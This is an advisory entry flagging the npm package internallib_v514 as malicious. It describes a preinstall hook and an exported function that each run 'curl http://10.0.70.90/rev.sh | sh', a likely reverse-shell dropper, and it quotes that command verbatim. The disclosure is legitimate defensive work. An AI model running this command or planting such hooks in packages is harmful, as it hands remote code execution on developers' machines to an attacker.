internallib_v514
Affected
- Versions:
1.0.0,1.0.1
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in internallib_v514 (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea)
package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on npm install, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a command function whose body invokes require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh"), providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named rev.sh — consistent with a reverse-shell dropper.
Not rated by the source.
1.0.0, 1.0.1None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0